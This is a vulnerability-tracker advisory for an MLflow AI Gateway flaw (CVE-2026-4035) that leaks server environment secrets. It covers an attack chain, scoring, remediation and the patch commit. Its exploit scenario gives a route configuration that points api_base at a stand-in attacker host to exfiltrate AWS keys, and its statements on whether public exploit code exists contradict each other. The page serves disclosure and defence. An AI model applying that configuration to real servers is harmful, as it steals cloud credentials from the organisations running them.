Skip to main content

MLflow EUVDEUVD-2026-34068

| CVE-2026-4035 HIGH
Insertion of Sensitive Information Into Sent Data (CWE-201)
2026-06-03 @huntr_ai GHSA-g35p-px32-whv6
7.7
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify exposed MLflow gateway
  2. Delivery
    Authenticate or use anonymous access
  3. Exploit
    Register route with api_key=$SECRET and attacker api_base
  4. Install
    Send completion request to route
  5. C2
    Server resolves env var and sends in auth header
  6. Execute
    Capture leaked AWS credentials
  7. Impact
    Pivot to artifact poisoning and downstream RCE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Outbound data filtering
Exploitation Conditions

Requires a reachable MLflow AI Gateway (legacy YAML-config gateway or the create_app_from_path path) on a version below 3.11.0 where the attacker can create or modify a gateway route's api_key and api_base fields. Per the CVE description, exploitation is unauthenticated against default deployments that do not enable basic-auth, and only requires low-privileged credentials when basic-auth is enabled - this conflicts with the CVSS PR:L vector, so anonymous deployments should be treated as PR:N. The attacker must control or observe an HTTP endpoint that can receive the outbound provider request, and the targeted environment variable must actually be set in the MLflow server process (e.g., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, or other process-level secrets). No user interaction is required and egress from the MLflow host to attacker infrastructure must not be blocked.

Impact

The CVSS 3.1 score of 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) reflects network reachability, low complexity, low privilege requirement, and a scope change resulting in high confidentiality impact - consistent with credentials leaking from the MLflow process to a different security boundary (the attacker endpoint or downstream cloud account). SSVC rates exploitation as POC (not active), automatable as no, and technical impact as partial, which aligns with the low EPSS of 0.28% and absence from CISA KEV: real risk is meaningful but not yet seeing mass exploitation. The most material risk multiplier is the description's note that default deployments without basic-auth allow unauthenticated exploitation, while basic-auth deployments only require a low-privileged account - this directly conflicts with the CVSS PR:L assumption, so defenders running anonymous MLflow instances should treat this as effectively PR:N. Downstream blast radius is the concern: leaked AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY can enable artifact poisoning and code execution in pipelines that consume MLflow artifacts, which is why the report carries the RCE tag despite the direct CIA vector showing only confidentiality impact.

Exploit ScenarioDerived

An attacker with network access to an MLflow server (no credentials needed in default deployments, or any low-privileged account in basic-auth deployments) creates or updates an AI Gateway route specifying api_key: $AWS_SECRET_ACCESS_KEY and api_base: https://attacker.example.com/collect. They then issue a single completion request against that route; the gateway resolves the env var server-side and sends the real AWS secret as an Authorization header to the attacker's listener. Publicly available exploit code exists via the huntr.com submission, and the harvested cloud credentials can subsequently be used to poison MLflow-managed artifacts and achieve code execution in downstream training or inference environments.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 04, 2026

Server-side environment variable disclosure in MLflow versions prior to 3.11.0 allows attackers to exfiltrate sensitive credentials from the MLflow AI Gateway by abusing the $ENV_VAR resolution feature in gateway secret configuration. By registering or modifying a gateway route where api_key references an environment variable like $AWS_SECRET_ACCESS_KEY and pointing api_base at an attacker-controlled endpoint, the resolved secret is transmitted in upstream provider authentication headers. Publicly available exploit code exists via the huntr.com bounty disclosure, though EPSS remains low at 0.28% (51st percentile) and the issue is not in CISA KEV.

Earlier versions of this analysis (2)
v2 Jun 04, 2026 - 19:43 cvss changed CVSS 7.7

Server-side environment variable disclosure in MLflow versions prior to 3.11.0 allows attackers to exfiltrate sensitive credentials by abusing the AI Gateway's $ENV_VAR resolution in the api_key field of gateway secrets. By configuring a gateway route with an attacker-controlled api_base and an api_key referencing variables like $AWS_SECRET_ACCESS_KEY, the MLflow server resolves and transmits those values in outbound authentication headers. Exploitation requires only low-privileged authentication in basic-auth deployments and is fully unauthenticated in default deployments without basic-auth; SSVC lists exploitation as POC stage with no current public weaponization.

v1 Jun 03, 2026 - 09:14 CVSS 9.1

Server-side environment variable disclosure in MLflow versions prior to 3.11.0 allows attackers to exfiltrate sensitive credentials (including AWS keys) by abusing the AI Gateway's $ENV_VAR resolution in api_key secret fields. By configuring a gateway route that points api_base at an attacker-controlled endpoint and setting api_key: $AWS_SECRET_ACCESS_KEY, the MLflow server resolves the environment variable and transmits it as an authentication header to the attacker. No public exploit identified at time of analysis, though a Huntr bounty report and upstream commit document the issue.

RemediationAI

Vendor-released patch: MLflow 3.11.0 - upgrade immediately via pip install --upgrade mlflow>=3.11.0. The fix (commit 4a3f2f720cb4f058c9e0c5b883e0acc9ab64a7f3) gates $ENV_VAR resolution behind a new MLFLOW_GATEWAY_RESOLVE_API_KEY_FROM_ENV flag that defaults to False and is only auto-enabled for the legacy YAML-config gateway path, so after upgrading, do not set this flag to true on multi-tenant or internet-exposed deployments. As compensating controls until you can patch, audit existing gateway YAML configurations and replace any api_key: $VAR references with literal values or file-based secrets, enforce basic-auth on the MLflow server to remove unauthenticated access, restrict outbound egress from the MLflow host so it can only reach known provider api_base domains (blocks the exfiltration channel at the cost of breaking any new provider additions), and place the gateway behind an authenticating reverse proxy that controls who may create or modify routes. Patch URL: https://github.com/mlflow/mlflow/commit/4a3f2f720cb4f058c9e0c5b883e0acc9ab64a7f3.

Affected VersionsENISA

mlflow/mlflow unspecified <3.11.0

Affected Packages

pypi mlflow fix: 3.11.0
euvd mlflow_mlflow_unspecified fix: 3.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MLflow is an open-source MLOps platform whose AI Gateway component proxies requests to LLM providers using YAML-defined routes containing provider credentials. The vulnerable code path in mlflow/gateway/config.py function _resolve_api_key_from_input unconditionally interpreted any api_key value starting with $ as a reference to a server-side environment variable and substituted its value at runtime. This maps to CWE-201 (Insertion of Sensitive Information Into Sent Data): the resolved secret is then placed into Authorization headers sent to the configured api_base URL, allowing data to leave a trust boundary. CPE coverage is cpe:2.3:a:mlflow:mlflow:* with EUVD-2026-34068 cataloging all versions below 3.11.0.

Know when Mlflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Red Hat 7.7 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

5
Analysis Updated
Jun 04, 2026 - 19:43 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 04, 2026 - 19:43 vuln.today
v2 - CVSS changed
Severity Changed
Jun 04, 2026 - 19:37 NVD
CRITICAL HIGH
CVSS changed
Jun 04, 2026 - 19:37 NVD
9.1 (CRITICAL) 7.7 (HIGH)
Patch available
Jun 03, 2026 - 10:00 EUVD

DescriptionNVD

A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the api_key field in gateway secrets can accept $ENV_VAR references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream api_base. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without basic-auth. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.

Executive ViewAI

Why It Matters

MLflow AI Gateway (versions prior to 3.11.0) leaks sensitive cloud credentials through environment variable resolution, with publicly available exploit code identified. Attackers can exfiltrate AWS keys and API credentials, directly compromising cloud infrastructure, data services, and integrated third-party systems used by the organization.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 49% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Mlflow

View all
CVE-2026-64849 CRITICAL POC
9.3 Aug 17

Server-side request forgery in MLflow before 3.15.0 lets remote unauthenticated attackers coerce the server into making

CVE-2024-8859 HIGH POC
7.5 Mar 20

A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. Rated high severity (CVSS 7.5), this vulnerabilit

CVE-2023-3765 CRITICAL POC
10.0 Jul 19

Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0. Rated critical severity (CVSS 10.0), this vul

CVE-2026-116692 CRITICAL POC
9.8 Oct 27

Unauthenticated remote code execution in MLflow 3.12.0rc0 through 3.16.x lets any network caller reach the tracking serv

CVE-2026-0545 CRITICAL POC
9.8 Apr 03

MLflow's FastAPI job endpoints bypass basic-auth entirely, allowing network attackers to submit and execute jobs without

CVE-2023-6975 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models

CVE-2023-6974 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it cou

CVE-2023-6014 CRITICAL POC
9.8 Nov 16

An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirment. Rated critical s

CVE-2023-6018 CRITICAL POC
9.8 Nov 16

An attacker can overwrite any file on the server hosting MLflow without any authentication. Rated critical severity (CVS

CVE-2023-2780 CRITICAL POC
9.8 May 17

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1. Rated critical severity (CVSS 9.8), th

CVE-2023-1177 CRITICAL POC
9.8 Mar 24

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1. Rated critical severity (CVSS 9.8), th

CVE-2024-27133 CRITICAL POC
9.6 Feb 23

Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical se

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy